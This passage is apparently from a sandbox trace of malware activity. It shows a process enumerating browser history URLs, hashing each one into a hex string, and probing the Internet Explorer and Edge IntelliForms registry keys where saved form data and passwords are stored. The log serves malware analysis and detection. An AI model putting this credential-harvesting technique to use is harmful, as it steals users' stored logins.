lpString1="681F829A28A26BB6FF2444583E5A79", lpString2="71" | out: lpString1="681F829A28A26BB6FF2444583E5A7971") returned="681F829A28A26BB6FF2444583E5A7971" [0053.593] LocalFree (hMem=0x758b68) returned 0x0 [0053.593] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="13") returned 2 [0053.594] lstrlenA (lpString="681F829A28A26BB6FF2444583E5A7971") returned 32 [0053.594] lstrlenA (lpString="13") returned 2 [0053.594] LocalAlloc (uFlags=0x40, uBytes=0xa3) returned 0x754b90 [0053.594] lstrcpyA (in: lpString1=0x754b90, lpString2="681F829A28A26BB6FF2444583E5A7971" | out: lpString1="681F829A28A26BB6FF2444583E5A7971") returned="681F829A28A26BB6FF2444583E5A7971" [0053.594] lstrcatA (in: lpString1="681F829A28A26BB6FF2444583E5A7971", lpString2="13" | out: lpString1="681F829A28A26BB6FF2444583E5A797113") returned="681F829A28A26BB6FF2444583E5A797113" [0053.594] LocalFree (hMem=0x754cf0) returned 0x0 [0053.594] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="63") returned 2 [0053.594] lstrlenA (lpString="681F829A28A26BB6FF2444583E5A797113") returned 34 [0053.594] lstrlenA (lpString="63") returned 2 [0053.594] LocalAlloc (uFlags=0x40, uBytes=0xa5) returned 0x754cf0 [0053.594] lstrcpyA (in: lpString1=0x754cf0, lpString2="681F829A28A26BB6FF2444583E5A797113" | out: lpString1="681F829A28A26BB6FF2444583E5A797113") returned="681F829A28A26BB6FF2444583E5A797113" [0053.594] lstrcatA (in: lpString1="681F829A28A26BB6FF2444583E5A797113", lpString2="63" | out: lpString1="681F829A28A26BB6FF2444583E5A79711363") returned="681F829A28A26BB6FF2444583E5A79711363" [0053.594] LocalFree (hMem=0x754b90) returned 0x0 [0053.594] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="4B") returned 2 [0053.594] lstrlenA (lpString="681F829A28A26BB6FF2444583E5A79711363") returned 36 [0053.594] lstrlenA (lpString="4B") returned 2 [0053.594] LocalAlloc (uFlags=0x40, uBytes=0xa7) returned 0x754b90 [0053.594] lstrcpyA (in: lpString1=0x754b90, lpString2="681F829A28A26BB6FF2444583E5A79711363" | out: lpString1="681F829A28A26BB6FF2444583E5A79711363") returned="681F829A28A26BB6FF2444583E5A79711363" [0053.594] lstrcatA (in: lpString1="681F829A28A26BB6FF2444583E5A79711363", lpString2="4B" | out: lpString1="681F829A28A26BB6FF2444583E5A797113634B") returned="681F829A28A26BB6FF2444583E5A797113634B" [0053.594] LocalFree (hMem=0x754cf0) returned 0x0 [0053.594] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="79") returned 2 [0053.594] lstrlenA (lpString="681F829A28A26BB6FF2444583E5A797113634B") returned 38 [0053.594] lstrlenA (lpString="79") returned 2 [0053.594] LocalAlloc (uFlags=0x40, uBytes=0xa9) returned 0x750e98 [0053.594] lstrcpyA (in: lpString1=0x750e98, lpString2="681F829A28A26BB6FF2444583E5A797113634B" | out: lpString1="681F829A28A26BB6FF2444583E5A797113634B") returned="681F829A28A26BB6FF2444583E5A797113634B" [0053.594] lstrcatA (in: lpString1="681F829A28A26BB6FF2444583E5A797113634B", lpString2="79" | out: lpString1="681F829A28A26BB6FF2444583E5A797113634B79") returned="681F829A28A26BB6FF2444583E5A797113634B79" [0053.594] LocalFree (hMem=0x754b90) returned 0x0 [0053.594] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="09") returned 2 [0053.594] lstrlenA (lpString="681F829A28A26BB6FF2444583E5A797113634B79") returned 40 [0053.594] lstrlenA (lpString="09") returned 2 [0053.594] LocalAlloc (uFlags=0x40, uBytes=0xab) returned 0x750f50 [0053.594] lstrcpyA (in: lpString1=0x750f50, lpString2="681F829A28A26BB6FF2444583E5A797113634B79" | out: lpString1="681F829A28A26BB6FF2444583E5A797113634B79") returned="681F829A28A26BB6FF2444583E5A797113634B79" [0053.594] lstrcatA (in: lpString1="681F829A28A26BB6FF2444583E5A797113634B79", lpString2="09" | out: lpString1="681F829A28A26BB6FF2444583E5A797113634B7909") returned="681F829A28A26BB6FF2444583E5A797113634B7909" [0053.594] LocalFree (hMem=0x750e98) returned 0x0 [0053.594] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20019, phkResult=0xefc8c | out: phkResult=0xefc8c*=0x0) returned 0x2 [0053.594] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20219, phkResult=0xefc60 | out: phkResult=0xefc60*=0x0) returned 0x2 [0053.594] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20119, phkResult=0xefc34 | out: phkResult=0xefc34*=0x0) returned 0x2 [0053.594] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="SOFTWARE\\Classes\\Local Settings\\Software\\Microsoft\\Windows\\CurrentVersion\\AppContainer\\Storage\\microsoft.microsoftedge_8wekyb3d8bbwe\\MicrosoftEdge\\IntelliForms\\FormData", ulOptions=0x0, samDesired=0x20019, phkResult=0xefc8c | out: phkResult=0xefc8c*=0x0) returned 0x2 [0053.594] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="SOFTWARE\\Classes\\Local Settings\\Software\\Microsoft\\Windows\\CurrentVersion\\AppContainer\\Storage\\microsoft.microsoftedge_8wekyb3d8bbwe\\MicrosoftEdge\\IntelliForms\\FormData", ulOptions=0x0, samDesired=0x20219, phkResult=0xefc60 | out: phkResult=0xefc60*=0x0) returned 0x2 [0053.594] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="SOFTWARE\\Classes\\Local Settings\\Software\\Microsoft\\Windows\\CurrentVersion\\AppContainer\\Storage\\microsoft.microsoftedge_8wekyb3d8bbwe\\MicrosoftEdge\\IntelliForms\\FormData", ulOptions=0x0, samDesired=0x20119, phkResult=0xefc34 | out: phkResult=0xefc34*=0x0) returned 0x2 [0053.595] LocalFree (hMem=0x750f50) returned 0x0 [0053.595] CoTaskMemFree (pv=0x750de0) [0053.595] IEnumSTATURL:Next (in: This=0x75a808, celt=0x1, rgelt=0xefd34, pceltFetched=0xefd30*=0x0 | out: rgelt=0xefd34, pceltFetched=0xefd30*=0x1) returned 0x0 [0053.595] StrStrIW (lpFirst="file:///C:/Users/aDU0VK%20IWA5kLS/AppData/Roaming/P2nPOOtZM2KL.csv", lpSrch="?") returned 0x0 [0053.595] lstrlenW (lpString="file:///C:/Users/aDU0VK%20IWA5kLS/AppData/Roaming/P2nPOOtZM2KL.csv") returned 66 [0053.595] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="CC") returned 2 [0053.595] lstrlenA (lpString="") returned 0 [0053.595] lstrlenA (lpString="CC") returned 2 [0053.595] LocalAlloc (uFlags=0x40, uBytes=0x83) returned 0x7605a0 [0053.595] lstrcpyA (in: lpString1=0x7605a0, lpString2="" | out: lpString1="") returned="" [0053.595] lstrcatA (in: lpString1="", lpString2="CC" | out: lpString1="CC") returned="CC" [0053.595] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="D4") returned 2 [0053.595] lstrlenA (lpString="CC") returned 2 [0053.595] lstrlenA (lpString="D4") returned 2 [0053.595] LocalAlloc (uFlags=0x40, uBytes=0x85) returned 0x760630 [0053.595] lstrcpyA (in: lpString1=0x760630, lpString2="CC" | out: lpString1="CC") returned="CC" [0053.595] lstrcatA (in: lpString1="CC", lpString2="D4" | out: lpString1="CCD4") returned="CCD4" [0053.595] LocalFree (hMem=0x7605a0) returned 0x0 [0053.595] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="49") returned 2 [0053.595] lstrlenA (lpString="CCD4") returned 4 [0053.595] lstrlenA (lpString="49") returned 2 [0053.595] LocalAlloc (uFlags=0x40, uBytes=0x87) returned 0x7605a0 [0053.595] lstrcpyA (in: lpString1=0x7605a0, lpString2="CCD4" | out: lpString1="CCD4") returned="CCD4" [0053.595] lstrcatA (in: lpString1="CCD4", lpString2="49" | out: lpString1="CCD449") returned="CCD449" [0053.595] LocalFree (hMem=0x760630) returned 0x0 [0053.595] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="B9") returned 2 [0053.595] lstrlenA (lpString="CCD449") returned 6 [0053.595] lstrlenA (lpString="B9") returned 2 [0053.595] LocalAlloc (uFlags=0x40, uBytes=0x89) returned 0x7633b8 [0053.595] lstrcpyA (in: lpString1=0x7633b8, lpString2="CCD449" | out: lpString1="CCD449") returned="CCD449" [0053.595] lstrcatA (in: lpString1="CCD449", lpString2="B9" | out: lpString1="CCD449B9") returned="CCD449B9" [0053.595] LocalFree (hMem=0x7605a0) returned 0x0 [0053.595] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="96") returned 2 [0053.595] lstrlenA (lpString="CCD449B9") returned 8 [0053.595] lstrlenA (lpString="96") returned 2 [0053.595] LocalAlloc (uFlags=0x40, uBytes=0x8b) returned 0x769e00 [0053.595] lstrcpyA (in: lpString1=0x769e00, lpString2="CCD449B9" | out: lpString1="CCD449B9") returned="CCD449B9" [0053.595] lstrcatA (in: lpString1="CCD449B9", lpString2="96" | out: lpString1="CCD449B996") returned="CCD449B996" [0053.595] LocalFree (hMem=0x7633b8) returned 0x0 [0053.595] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="77") returned 2 [0053.595] lstrlenA (lpString="CCD449B996") returned 10 [0053.595] lstrlenA (lpString="77") returned 2 [0053.595] LocalAlloc (uFlags=0x40, uBytes=0x8d) returned 0x7633b8 [0053.595] lstrcpyA (in: lpString1=0x7633b8, lpString2="CCD449B996" | out: lpString1="CCD449B996") returned="CCD449B996" [0053.595] lstrcatA (in: lpString1="CCD449B996", lpString2="77" | out: lpString1="CCD449B99677") returned="CCD449B99677" [0053.595] LocalFree (hMem=0x769e00) returned 0x0 [0053.595] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="C3") returned 2 [0053.595] lstrlenA (lpString="CCD449B99677") returned 12 [0053.595] lstrlenA (lpString="C3") returned 2 [0053.595] LocalAlloc (uFlags=0x40, uBytes=0x8f) returned 0x769e00 [0053.596] lstrcpyA (in: lpString1=0x769e00, lpString2="CCD449B99677" | out: lpString1="CCD449B99677") returned="CCD449B99677" [0053.596] lstrcatA (in: lpString1="CCD449B99677", lpString2="C3" | out: lpString1="CCD449B99677C3") returned="CCD449B99677C3" [0053.596] LocalFree (hMem=0x7633b8) returned 0x0 [0053.596] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="95") returned 2 [0053.596] lstrlenA (lpString="CCD449B99677C3") returned 14 [0053.596] lstrlenA (lpString="95") returned 2 [0053.596] LocalAlloc (uFlags=0x40, uBytes=0x91) returned 0x763518 [0053.596] lstrcpyA (in: lpString1=0x763518, lpString2="CCD449B99677C3" | out: lpString1="CCD449B99677C3") returned="CCD449B99677C3" [0053.596] lstrcatA (in: lpString1="CCD449B99677C3", lpString2="95" | out: lpString1="CCD449B99677C395") returned="CCD449B99677C395" [0053.596] LocalFree (hMem=0x769e00) returned 0x0 [0053.596] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="81") returned 2 [0053.596] lstrlenA (lpString="CCD449B99677C395") returned 16 [0053.596] lstrlenA (lpString="81") returned 2 [0053.596] LocalAlloc (uFlags=0x40, uBytes=0x93) returned 0x763478 [0053.596] lstrcpyA (in: lpString1=0x763478, lpString2="CCD449B99677C395" | out: lpString1="CCD449B99677C395") returned="CCD449B99677C395" [0053.596] lstrcatA (in: lpString1="CCD449B99677C395", lpString2="81" | out: lpString1="CCD449B99677C39581") returned="CCD449B99677C39581" [0053.596] LocalFree (hMem=0x763518) returned 0x0 [0053.596] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="7B") returned 2 [0053.596] lstrlenA (lpString="CCD449B99677C39581") returned 18 [0053.596] lstrlenA (lpString="7B") returned 2 [0053.596] LocalAlloc (uFlags=0x40, uBytes=0x95) returned 0x763518 [0053.596] lstrcpyA (in: lpString1=0x763518, lpString2="CCD449B99677C39581" | out: lpString1="CCD449B99677C39581") returned="CCD449B99677C39581" [0053.596] lstrcatA (in: lpString1="CCD449B99677C39581", lpString2="7B" | out: lpString1="CCD449B99677C395817B") returned="CCD449B99677C395817B" [0053.596] LocalFree (hMem=0x763478) returned 0x0 [0053.596] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="03") returned 2 [0053.596] lstrlenA (lpString="CCD449B99677C395817B") returned 20 [0053.596] lstrlenA (lpString="03") returned 2 [0053.596] LocalAlloc (uFlags=0x40, uBytes=0x97) returned 0x763478 [0053.596] lstrcpyA (in: lpString1=0x763478, lpString2="CCD449B99677C395817B" | out: lpString1="CCD449B99677C395817B") returned="CCD449B99677C395817B" [0053.596] lstrcatA (in: lpString1="CCD449B99677C395817B", lpString2="03" | out: lpString1="CCD449B99677C395817B03") returned="CCD449B99677C395817B03" [0053.596] LocalFree (hMem=0x763518) returned 0x0 [0053.596] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="67") returned 2 [0053.596] lstrlenA (lpString="CCD449B99677C395817B03") returned 22 [0053.596] lstrlenA (lpString="67") returned 2 [0053.596] LocalAlloc (uFlags=0x40, uBytes=0x99) returned 0x758b68 [0053.596] lstrcpyA (in: lpString1=0x758b68, lpString2="CCD449B99677C395817B03" | out: lpString1="CCD449B99677C395817B03") returned="CCD449B99677C395817B03" [0053.596] lstrcatA (in: lpString1="CCD449B99677C395817B03", lpString2="67" | out: lpString1="CCD449B99677C395817B0367") returned="CCD449B99677C395817B0367" [0053.596] LocalFree (hMem=0x763478) returned 0x0 [0053.596] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="46") returned 2 [0053.596] lstrlenA (lpString="CCD449B99677C395817B0367") returned 24 [0053.596] lstrlenA (lpString="46") returned 2 [0053.596] LocalAlloc (uFlags=0x40, uBytes=0x9b) returned 0x758820 [0053.596] lstrcpyA (in: lpString1=0x758820, lpString2="CCD449B99677C395817B0367" | out: lpString1="CCD449B99677C395817B0367") returned="CCD449B99677C395817B0367" [0053.596] lstrcatA (in: lpString1="CCD449B99677C395817B0367", lpString2="46" | out: lpString1="CCD449B99677C395817B036746") returned="CCD449B99677C395817B036746" [0053.596] LocalFree (hMem=0x758b68) returned 0x0 [0053.596] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="1B") returned 2 [0053.596] lstrlenA (lpString="CCD449B99677C395817B036746") returned 26 [0053.596] lstrlenA (lpString="1B") returned 2 [0053.596] LocalAlloc (uFlags=0x40, uBytes=0x9d) returned 0x758b68 [0053.596] lstrcpyA (in: lpString1=0x758b68, lpString2="CCD449B99677C395817B036746" | out: lpString1="CCD449B99677C395817B036746") returned="CCD449B99677C395817B036746" [0053.596] lstrcatA (in: lpString1="CCD449B99677C395817B036746", lpString2="1B" | out: lpString1="CCD449B99677C395817B0367461B") returned="CCD449B99677C395817B0367461B" [0053.596] LocalFree (hMem=0x758820) returned 0x0 [0053.596] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="B7") returned 2 [0053.596] lstrlenA (lpString="CCD449B99677C395817B0367461B") returned 28 [0053.596] lstrlenA (lpString="B7") returned 2 [0053.596] LocalAlloc (uFlags=0x40, uBytes=0x9f) returned 0x758820 [0053.596] lstrcpyA (in: lpString1=0x758820, lpString2="CCD449B99677C395817B0367461B" | out: lpString1="CCD449B99677C395817B0367461B") returned="CCD449B99677C395817B0367461B" [0053.596] lstrcatA (in: lpString1="CCD449B99677C395817B0367461B", lpString2="B7" | out: lpString1="CCD449B99677C395817B0367461BB7") returned="CCD449B99677C395817B0367461BB7" [0053.596] LocalFree (hMem=0x758b68) returned 0x0 [0053.597] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="A2") returned 2 [0053.597] lstrlenA (lpString="CCD449B99677C395817B0367461BB7") returned 30 [0053.597] lstrlenA (lpString="A2") returned 2 [0053.597] LocalAlloc (uFlags=0x40, uBytes=0xa1) returned 0x754b90 [0053.597] lstrcpyA (in: lpString1=0x754b90, lpString2="CCD449B99677C395817B0367461BB7" | out: lpString1="CCD449B99677C395817B0367461BB7") returned="CCD449B99677C395817B0367461BB7" [0053.597] lstrcatA (in: lpString1="CCD449B99677C395817B0367461BB7", lpString2="A2" | out: lpString1="CCD449B99677C395817B0367461BB7A2") returned="CCD449B99677C395817B0367461BB7A2" [0053.597] LocalFree (hMem=0x758820) returned 0x0 [0053.597] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="FF") returned 2 [0053.597] lstrlenA (lpString="CCD449B99677C395817B0367461BB7A2") returned 32 [0053.597] lstrlenA (lpString="FF") returned 2 [0053.597] LocalAlloc (uFlags=0x40, uBytes=0xa3) returned 0x754cf0 [0053.597] lstrcpyA (in: lpString1=0x754cf0, lpString2="CCD449B99677C395817B0367461BB7A2" | out: lpString1="CCD449B99677C395817B0367461BB7A2") returned="CCD449B99677C395817B0367461BB7A2" [0053.597] lstrcatA (in: lpString1="CCD449B99677C395817B0367461BB7A2", lpString2="FF" | out: lpString1="CCD449B99677C395817B0367461BB7A2FF") returned="CCD449B99677C395817B0367461BB7A2FF" [0053.597] LocalFree (hMem=0x754b90) returned 0x0 [0053.597] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="E0") returned 2 [0053.597] lstrlenA (lpString="CCD449B99677C395817B0367461BB7A2FF") returned 34 [0053.597] lstrlenA (lpString="E0") returned 2 [0053.597] LocalAlloc (uFlags=0x40, uBytes=0xa5) returned 0x754b90 [0053.597] lstrcpyA (in: lpString1=0x754b90, lpString2="CCD449B99677C395817B0367461BB7A2FF" | out: lpString1="CCD449B99677C395817B0367461BB7A2FF") returned="CCD449B99677C395817B0367461BB7A2FF" [0053.597] lstrcatA (in: lpString1="CCD449B99677C395817B0367461BB7A2FF", lpString2="E0" | out: lpString1="CCD449B99677C395817B0367461BB7A2FFE0") returned="CCD449B99677C395817B0367461BB7A2FFE0" [0053.597] LocalFree (hMem=0x754cf0) returned 0x0 [0053.597] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="6A") returned 2 [0053.597] lstrlenA (lpString="CCD449B99677C395817B0367461BB7A2FFE0") returned 36 [0053.597] lstrlenA (lpString="6A") returned 2 [0053.597] LocalAlloc (uFlags=0x40, uBytes=0xa7) returned 0x754cf0 [0053.597] lstrcpyA (in: lpString1=0x754cf0, lpString2="CCD449B99677C395817B0367461BB7A2FFE0" | out: lpString1="CCD449B99677C395817B0367461BB7A2FFE0") returned="CCD449B99677C395817B0367461BB7A2FFE0" [0053.597] lstrcatA (in: lpString1="CCD449B99677C395817B0367461BB7A2FFE0", lpString2="6A" | out: lpString1="CCD449B99677C395817B0367461BB7A2FFE06A") returned="CCD449B99677C395817B0367461BB7A2FFE06A" [0053.597] LocalFree (hMem=0x754b90) returned 0x0 [0053.597] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="3B") returned 2 [0053.597] lstrlenA (lpString="CCD449B99677C395817B0367461BB7A2FFE06A") returned 38 [0053.597] lstrlenA (lpString="3B") returned 2 [0053.597] LocalAlloc (uFlags=0x40, uBytes=0xa9) returned 0x750de0 [0053.597] lstrcpyA (in: lpString1=0x750de0, lpString2="CCD449B99677C395817B0367461BB7A2FFE06A" | out: lpString1="CCD449B99677C395817B0367461BB7A2FFE06A") returned="CCD449B99677C395817B0367461BB7A2FFE06A" [0053.597] lstrcatA (in: lpString1="CCD449B99677C395817B0367461BB7A2FFE06A", lpString2="3B" | out: lpString1="CCD449B99677C395817B0367461BB7A2FFE06A3B") returned="CCD449B99677C395817B0367461BB7A2FFE06A3B" [0053.597] LocalFree (hMem=0x754cf0) returned 0x0 [0053.597] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="AB") returned 2 [0053.597] lstrlenA (lpString="CCD449B99677C395817B0367461BB7A2FFE06A3B") returned 40 [0053.597] lstrlenA (lpString="AB") returned 2 [0053.597] LocalAlloc (uFlags=0x40, uBytes=0xab) returned 0x750f50 [0053.597] lstrcpyA (in: lpString1=0x750f50, lpString2="CCD449B99677C395817B0367461BB7A2FFE06A3B" | out: lpString1="CCD449B99677C395817B0367461BB7A2FFE06A3B") returned="CCD449B99677C395817B0367461BB7A2FFE06A3B" [0053.597] lstrcatA (in: lpString1="CCD449B99677C395817B0367461BB7A2FFE06A3B", lpString2="AB" | out: lpString1="CCD449B99677C395817B0367461BB7A2FFE06A3BAB") returned="CCD449B99677C395817B0367461BB7A2FFE06A3BAB" [0053.597] LocalFree (hMem=0x750de0) returned 0x0 [0053.597] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20019, phkResult=0xefc8c | out: phkResult=0xefc8c*=0x0) returned 0x2 [0053.597] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20219, phkResult=0xefc60 | out: phkResult=0xefc60*=0x0) returned 0x2 [0053.597] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20119, phkResult=0xefc34 | out: phkResult=0xefc34*=0x0) returned 0x2 [0053.597] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="SOFTWARE\\Classes\\Local Settings\\Software\\Microsoft\\Windows\\CurrentVersion\\AppContainer\\Storage\\microsoft.microsoftedge_8wekyb3d8bbwe\\MicrosoftEdge\\IntelliForms\\FormData", ulOptions=0x0, samDesired=0x20019, phkResult=0xefc8c | out: phkResult=0xefc8c*=0x0) returned 0x2 [0053.597] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="SOFTWARE\\Classes\\Local Settings\\Software\\Microsoft\\Windows\\CurrentVersion\\AppContainer\\Storage\\microsoft.microsoftedge_8wekyb3d8bbwe\\MicrosoftEdge\\IntelliForms\\FormData", ulOptions=0x0, samDesired=0x20219, phkResult=0xefc60 | out: phkResult=0xefc60*=0x0) returned 0x2 [0053.598] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="SOFTWARE\\Classes\\Local Settings\\Software\\Microsoft\\Windows\\CurrentVersion\\AppContainer\\Storage\\microsoft.microsoftedge_8wekyb3d8bbwe\\MicrosoftEdge\\IntelliForms\\FormData", ulOptions=0x0, samDesired=0x20119, phkResult=0xefc34 | out: phkResult=0xefc34*=0x0) returned 0x2 [0053.598] LocalFree (hMem=0x750f50) returned 0x0 [0053.598] CoTaskMemFree (pv=0x760510) [0053.598] IEnumSTATURL:Next (in: This=0x75a808, celt=0x1, rgelt=0xefd34, pceltFetched=0xefd30*=0x0 | out: rgelt=0xefd34, pceltFetched=0xefd30*=0x1) returned 0x0 [0053.598] StrStrIW (lpFirst="file:///C:/Users/aDU0VK%20IWA5kLS/Documents/ct1A.pptx", lpSrch="?") returned 0x0 [0053.598] lstrlenW (lpString="file:///C:/Users/aDU0VK%20IWA5kLS/Documents/ct1A.pptx") returned 53 [0053.598] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="0D") returned 2 [0053.598] lstrlenA (lpString="") returned 0 [0053.598] lstrlenA (lpString="0D") returned 2 [0053.598] LocalAlloc (uFlags=0x40, uBytes=0x83) returned 0x760510 [0053.598] lstrcpyA (in: lpString1=0x760510, lpString2="" | out: lpString1="") returned="" [0053.598] lstrcatA (in: lpString1="", lpString2="0D" | out: lpString1="0D") returned="0D" [0053.598] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="D4") returned 2 [0053.598] lstrlenA (lpString="0D") returned 2 [0053.598] lstrlenA (lpString="D4") returned 2 [0053.598] LocalAlloc (uFlags=0x40, uBytes=0x85) returned 0x7605a0 [0053.598] lstrcpyA (in: lpString1=0x7605a0, lpString2="0D" | out: lpString1="0D") returned="0D" [0053.598] lstrcatA (in: lpString1="0D", lpString2="D4" | out: lpString1="0DD4") returned="0DD4" [0053.598] LocalFree (hMem=0x760510) returned 0x0 [0053.598] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="79") returned 2 [0053.598] lstrlenA (lpString="0DD4") returned 4 [0053.598] lstrlenA (lpString="79") returned 2 [0053.598] LocalAlloc (uFlags=0x40, uBytes=0x87) returned 0x760510 [0053.598] lstrcpyA (in: lpString1=0x760510, lpString2="0DD4" | out: lpString1="0DD4") returned="0DD4" [0053.598] lstrcatA (in: lpString1="0DD4", lpString2="79" | out: lpString1="0DD479") returned="0DD479" [0053.598] LocalFree (hMem=0x7605a0) returned 0x0 [0053.598] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="EF") returned 2 [0053.598] lstrlenA (lpString="0DD479") returned 6 [0053.598] lstrlenA (lpString="EF") returned 2 [0053.598] LocalAlloc (uFlags=0x40, uBytes=0x89) returned 0x7633b8 [0053.598] lstrcpyA (in: lpString1=0x7633b8, lpString2="0DD479" | out: lpString1="0DD479") returned="0DD479" [0053.598] lstrcatA (in: lpString1="0DD479", lpString2="EF" | out: lpString1="0DD479EF") returned="0DD479EF" [0053.598] LocalFree (hMem=0x760510) returned 0x0 [0053.598] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="EE") returned 2 [0053.598] lstrlenA (lpString="0DD479EF") returned 8 [0053.598] lstrlenA (lpString="EE") returned 2 [0053.598] LocalAlloc (uFlags=0x40, uBytes=0x8b) returned 0x76a200 [0053.598] lstrcpyA (in: lpString1=0x76a200, lpString2="0DD479EF" | out: lpString1="0DD479EF") returned="0DD479EF" [0053.598] lstrcatA (in: lpString1="0DD479EF", lpString2="EE" | out: lpString1="0DD479EFEE") returned="0DD479EFEE" [0053.598] LocalFree (hMem=0x7633b8) returned 0x0 [0053.598] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="76") returned 2 [0053.598] lstrlenA (lpString="0DD479EFEE") returned 10 [0053.598] lstrlenA (lpString="76") returned 2 [0053.598] LocalAlloc (uFlags=0x40, uBytes=0x8d) returned 0x7633b8 [0053.598] lstrcpyA (in: lpString1=0x7633b8, lpString2="0DD479EFEE" | out: lpString1="0DD479EFEE") returned="0DD479EFEE" [0053.598] lstrcatA (in: lpString1="0DD479EFEE", lpString2="76" | out: lpString1="0DD479EFEE76") returned="0DD479EFEE76" [0053.599] LocalFree (hMem=0x76a200) returned 0x0 [0053.599] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="BA") returned 2 [0053.599] lstrlenA (lpString="0DD479EFEE76") returned 12 [0053.599] lstrlenA (lpString="BA") returned 2 [0053.599] LocalAlloc (uFlags=0x40, uBytes=0x8f) returned 0x76a200 [0053.599] lstrcpyA (in: lpString1=0x76a200, lpString2="0DD479EFEE76" | out: lpString1="0DD479EFEE76") returned="0DD479EFEE76" [0053.599] lstrcatA (in: lpString1="0DD479EFEE76", lpString2="BA" | out: lpString1="0DD479EFEE76BA") returned="0DD479EFEE76BA" [0053.599] LocalFree (hMem=0x7633b8) returned 0x0 [0053.599] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="1D") returned 2 [0053.599] lstrlenA (lpString="0DD479EFEE76BA") returned 14 [0053.599] lstrlenA (lpString="1D") returned 2 [0053.599] LocalAlloc (uFlags=0x40, uBytes=0x91) returned 0x763478 [0053.599] lstrcpyA (in: lpString1=0x763478, lpString2="0DD479EFEE76BA" | out: lpString1="0DD479EFEE76BA") returned="0DD479EFEE76BA" [0053.599] lstrcatA (in: lpString1="0DD479EFEE76BA", lpString2="1D" | out: lpString1="0DD479EFEE76BA1D") returned="0DD479EFEE76BA1D" [0053.599] LocalFree (hMem=0x76a200) returned 0x0 [0053.599] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="DF") returned 2 [0053.599] lstrlenA (lpString="0DD479EFEE76BA1D") returned 16 [0053.599] lstrlenA (lpString="DF") returned 2 [0053.599] LocalAlloc (uFlags=0x40, uBytes=0x93) returned 0x763518 [0053.599] lstrcpyA (in: lpString1=0x763518, lpString2="0DD479EFEE76BA1D" | out: lpString1="0DD479EFEE76BA1D") returned="0DD479EFEE76BA1D" [0053.599] lstrcatA (in: lpString1="0DD479EFEE76BA1D", lpString2="DF" | out: lpString1="0DD479EFEE76BA1DDF") returned="0DD479EFEE76BA1DDF" [0053.599] LocalFree (hMem=0x763478) returned 0x0 [0053.599] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="86") returned 2 [0053.599] lstrlenA (lpString="0DD479EFEE76BA1DDF") returned 18 [0053.599] lstrlenA (lpString="86") returned 2 [0053.599] LocalAlloc (uFlags=0x40, uBytes=0x95) returned 0x763478 [0053.599] lstrcpyA (in: lpString1=0x763478, lpString2="0DD479EFEE76BA1DDF" | out: lpString1="0DD479EFEE76BA1DDF") returned="0DD479EFEE76BA1DDF" [0053.599] lstrcatA (in: lpString1="0DD479EFEE76BA1DDF", lpString2="86" | out: lpString1="0DD479EFEE76BA1DDF86") returned="0DD479EFEE76BA1DDF86" [0053.599] LocalFree (hMem=0x763518) returned 0x0 [0053.599] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="29") returned 2 [0053.599] lstrlenA (lpString="0DD479EFEE76BA1DDF86") returned 20 [0053.599] lstrlenA (lpString="29") returned 2 [0053.599] LocalAlloc 